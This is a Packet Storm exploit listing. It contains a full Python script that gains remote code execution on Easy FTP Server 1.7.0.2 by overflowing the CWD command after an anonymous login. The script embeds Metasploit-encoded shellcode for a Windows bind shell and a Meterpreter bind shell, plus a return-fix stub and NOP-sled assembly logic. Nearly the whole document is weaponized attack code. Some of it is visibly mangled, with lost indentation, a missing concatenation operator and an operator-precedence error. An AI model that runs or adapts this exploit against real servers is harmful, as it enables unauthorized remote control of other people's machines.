Easy FTP Server 1.7.0.2 Return Overwrite Exploit

2010-03-01T00:00:00
ID PACKETSTORM:86783
Type packetstorm
Reporter Paul Makowski
Modified 2010-03-01T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
# RCE for Easy FTP Server 1.7.0.2 w/ RET overwrite  
# app @ http://code.google.com/p/easyftpsvr/   
# Copyright 2010 Paul Makowski, GPLv2  
# explanation of technique: http://wp.me/pBV1X-3Q  
# based on: http://seclists.org/bugtraq/2010/Feb/202  
# version 0.1  
  
import socket  
from sys import exit  
from optparse import OptionParser  
  
parser = OptionParser()  
parser.add_option("-t", "--target", dest="target", metavar="TARGET", type="string", help="target IP address")  
parser.add_option("-p", "--port", dest="port", metavar="PORT", type="string", help="target port")  
(options, args) = parser.parse_args()  
  
if not options.target: parser.error("Target unspecified.")  
if not options.port: options.port = 21  
  
# -- #  
  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
try:  
connect = s.connect((options.target, int(options.port)))  
print "[+] connected"  
  
except:  
print "[-] connection failed"  
exit(1)  
  
# get to vulnerable code (post auth, defaults allow anon login)  
s.recv(1024)  
s.send("USER anonymous\r\n")  
s.recv(1024)  
s.send("PASS anonymous\r\n")  
s.recv(1024)  
  
  
### fixRet ###  
# ret is located @ 0x009afe64 & needs to be replaced with part of our payload (or NOPs)  
fixRet = (  
"\x31\xc0" + # xor %eax,%eax  
"\x31\xdb" + # xor %ebx,%ebx  
"\x31\xc9" + # xor %ecx,%ecx  
"\xb8\xce\x54\x30\xaa" + # mov $0xaa3054ce,%eax  
"\xbb\xaa\xaa\xaa\xaa" + # mov $0xaaaaaaaa,%ebx  
"\x31\xd8" + # xor %ebx,%eax (now %eax should hold 0x009AFE64)  
#"\xb9\x90\x90\x90\x90" + # mov $0x90909090,%ecx (use this if your payload <= 233 bytes)  
#"\xb9\x1a\x29\xeb\x0e" + # mov $0xeeb291a,%ecx (4 bytes of bind_tcp payload to overwrite RET with)  
"\xb9\x5f\xe4\xe0\xae" + # mov $0xaee0e45f,%ecx (4 bytes of meterpreter_bind_tcp payload to overwrite RET with)  
"\x89\x08" ) # mov %ecx,(%eax)  
  
  
### payloads ###  
# $ ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"  
# [*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)  
bind_tcp = (  
  
# this will go before the RET location  
"\x33\xc9\xb1\x56\xd9\xf6\xd9\x74\x24\xf4\xbb\xcb\xf4\x35" +  
"\xcb\x58\x31\x58\x15\x83\xe8\xfc\x03\x58\x11\x29\x01\xc9" +  
"\x23\x24\xea\x32\xb4\x56\x62\xd7\x85\x44\x10\x93\xb4\x58" +  
"\x52\xf1\x34\x13\x36\xe2\xcf\x51\x9f\x05\x67\xdf\xf9\x28" +  
"\x78\xee\xc5\xe7\xba\x71\xba\xf5\xee\x51\x83\x35\xe3\x90" +  
"\xc4\x28\x0c\xc0\x9d\x27\xbf\xf4\xaa\x7a\x7c\xf5\x7c\xf1" +  
"\x3c\x8d\xf9\xc6\xc9\x27\x03\x17\x61\x3c\x4b\x8f\x09\x1a" +  
"\x6c\xae\xde\x79\x50\xf9\x6b\x49\x22\xf8\xbd\x80\xcb\xca" +  
"\x81\x4e\xf2\xe2\x0f\x8f\x32\xc4\xef\xfa\x48\x36\x8d\xfc" +  
"\x8a\x44\x49\x89\x0e\xee" +  
  
# these 4 bytes will be written over RET by fixRet  
"\x1a\x29\xeb\x0e" +  
  
# this will go after the RET location  
"\xce\xaf\x78\x1c" +  
"\xbb\xa4\x27\x01\x3a\x69\x5c\x3d\xb7\x8c\xb3\xb7\x83\xaa" +  
"\x17\x93\x50\xd3\x0e\x79\x36\xec\x51\x25\xe7\x48\x19\xc4" +  
"\xfc\xea\x40\x81\x31\xc0\x7a\x51\x5e\x53\x08\x63\xc1\xcf" +  
"\x86\xcf\x8a\xc9\x51\x2f\xa1\xad\xce\xce\x4a\xcd\xc7\x14" +  
"\x1e\x9d\x7f\xbc\x1f\x76\x80\x41\xca\xd8\xd0\xed\xa5\x98" +  
"\x80\x4d\x16\x70\xcb\x41\x49\x60\xf4\x8b\xfc\xa7\x3a\xef" +  
"\xac\x4f\x3f\x0f\x42\xd3\xb6\xe9\x0e\xfb\x9e\xa2\xa6\x39" +  
"\xc5\x7a\x50\x42\x2f\xd7\xc9\xd4\x67\x31\xcd\xdb\x77\x17" +  
"\x7d\x70\xdf\xf0\xf6\x9a\xe4\xe1\x08\xb7\x4c\x6b\x31\x5f" +  
"\x06\x05\xf3\xfe\x17\x0c\x63\x63\x85\xcb\x74\xea\xb6\x43" +  
"\x22\xbb\x09\x9a\xa6\x51\x33\x34\xd5\xa8\xa5\x7f\x5d\x76" +  
"\x16\x81\x5f\xfb\x22\xa5\x4f\xc5\xab\xe1\x3b\x99\xfd\xbf" +  
"\x95\x5f\x54\x0e\x4c\x09\x0b\xd8\x18\xcc\x67\xdb\x5e\xd1" +  
"\xad\xad\xbf\x63\x18\xe8\xc0\x4b\xcc\xfc\xb9\xb6\x6c\x02" +  
"\x10\x73\x9c\x49\x39\xd5\x35\x14\xab\x64\x58\xa7\x01\xaa" +  
"\x65\x24\xa0\x52\x92\x34\xc1\x57\xde\xf2\x39\x25\x4f\x97" +  
"\x3d\x9a\x70\xb2\x34" )  
  
  
# $ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff\x2f\x5c"  
# [*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)  
meterpreter_bind_tcp = (  
  
# this will go before the RET location  
"\xbf\xdd\x9f\x97\x4f\x29\xc9\xb1\x4b\xda\xc2\xd9\x74\x24" +  
"\xf4\x5d\x31\x7d\x11\x03\x7d\x11\x83\xed\xfc\xe2\x28\x63" +  
"\x7f\xc6\xd2\x9c\x80\xb9\x5b\x79\xb1\xeb\x3f\x09\xe0\x3b" +  
"\x34\x5f\x09\xb7\x18\x74\x9a\xb5\xb4\x7b\x2b\x73\xe2\xb2" +  
"\xac\xb5\x2a\x18\x6e\xd7\xd6\x63\xa3\x37\xe7\xab\xb6\x36" +  
"\x20\xd1\x39\x6a\xf9\x9d\xe8\x9b\x8e\xe0\x30\x9d\x40\x6f" +  
"\x08\xe5\xe5\xb0\xfd"  
  
# these 4 bytes will be written over RET by fixRet  
"\x5f\xe4\xe0\xae" +  
  
# this will go after the RET location  
"\xd4\xae\x18\xc4\xb3" +  
"\x0e\x18\x09\xa0\x72\x53\x26\x13\x01\x62\xee\x6d\xea\x54" +  
"\xce\x22\xd5\x58\xc3\x3b\x12\x5e\x3c\x4e\x68\x9c\xc1\x49" +  
"\xab\xde\x1d\xdf\x29\x78\xd5\x47\x89\x78\x3a\x11\x5a\x76" +  
"\xf7\x55\x04\x9b\x06\xb9\x3f\xa7\x83\x3c\xef\x21\xd7\x1a" +  
"\x2b\x69\x83\x03\x6a\xd7\x62\x3b\x6c\xbf\xdb\x99\xe7\x52" +  
"\x0f\x9b\xaa\x3a\xfc\x96\x54\xbb\x6a\xa0\x27\x89\x35\x1a" +  
"\xaf\xa1\xbe\x84\x28\xc5\x94\x71\xa6\x38\x17\x82\xef\xfe" +  
"\x43\xd2\x87\xd7\xeb\xb9\x57\xd7\x39\x6d\x07\x77\x92\xce" +  
"\xf7\x37\x42\xa7\x1d\xb8\xbd\xd7\x1e\x12\xd6\x29\x3b\xce" +  
"\xb1\x4b\xbb\xe0\x1d\xc5\x5d\x68\x8e\x83\xf6\x05\x6c\xf0" +  
"\xcf\xb2\x8f\xd2\x7c\x6a\x18\x6a\x6b\xac\x27\x6b\xbe\x9e" +  
"\x84\xc3\x28\x55\xc7\xd7\x49\x6a\xc2\x7f\x1e\xfd\x98\x11" +  
"\x6d\x9f\x9d\x3b\x07\x5f\x08\xc0\x81\x08\xa4\xca\xf4\x7f" +  
"\x6b\x34\xd3\x0b\xa2\xa0\x9b\x63\xcb\x24\x1b\x74\x9d\x2e" +  
"\x1b\x1c\x79\x0b\x48\x39\x86\x86\xfd\x92\x13\x29\x57\x46" +  
"\xb3\x41\x55\xb1\xf3\xcd\xa6\x94\x05\x31\x71\xd1\x83\x43" +  
"\xf4\x31\x48\xa1" )  
  
  
#-----------------------attack string------------------------  
# retFix | nopsled | payload, part 1 | ret | payload, part 2  
#------------------------------------------------------------  
print "[*] building attack string"  
  
ret = "\x58\xFD\x9A\x00" # 0x009AFD58; taken   
beforeRetSize = 268  
afterRetSize = 233  
payload = meterpreter_bind_tcp # switch this to bind_tcp if you wish to use this payload  
  
# put retFix in our attack string  
attackString = fixRet  
print "\t[*] added fixRet function; attackString is " + str(len(attackString)) + " bytes long"  
  
# append enough NOPs to hit either the beginning of the payload or the location of ret  
if len(payload) <= afterRetSize + 4: # payload will not occupy any space before ret  
attackString += "\x90" * (beforeRetSize - len(fixRet))  
print "\t[*] payload fits beyond RET location; added a NOP sled to RET location; attackString is " + str(len(attackString)) + " bytes long"  
  
else: # payload will occupy space before ret  
attackString += "\x90" * (beforeRetSize - len(fixRet) - (len(payload) - afterRetSize - 4))  
print "\t[*] payload doesn't fit beyond RET location; adding a NOP sled to first part of payload; attackString is " + str(len(attackString)) + " bytes long"  
  
# if the payload will not fit beyond the ret, some needs to be written before the ret  
attackString += payload[:len(payload) - afterRetSize - 4]  
print "\t[*] added first part of payload; attackString is " + str(len(attackString)) + " bytes long"  
  
# the ret  
attackString += ret  
print "\t[*] added RET value; attackString is " + str(len(attackString)) + " bytes long"  
  
# append enough NOPs to hit the payload (only if payload is smaller than afterRetSize)  
if len(payload) <= afterRetSize:  
attackString += "\x90" * afterRetSize - len(payload) + payload  
print "\t[*] payload fits beyond RET location; added a NOP sled and payload; attackString is " + str(len(attackString)) + " bytes long"  
  
else:  
attackString += payload[len(payload) - afterRetSize:]  
print "\t[*] payload doesn't fit beyond RET location; adding second part of payload; attackString is " + str(len(attackString)) + " bytes long"  
  
### exploit ###  
# at this point, attackString should be 505 bytes long  
print "[*] sending attack string..."  
s.send('CWD ' + attackString + '\r\n')  
print "[+] attach string sent. payload should have executed."  
s.close()  
  
  
`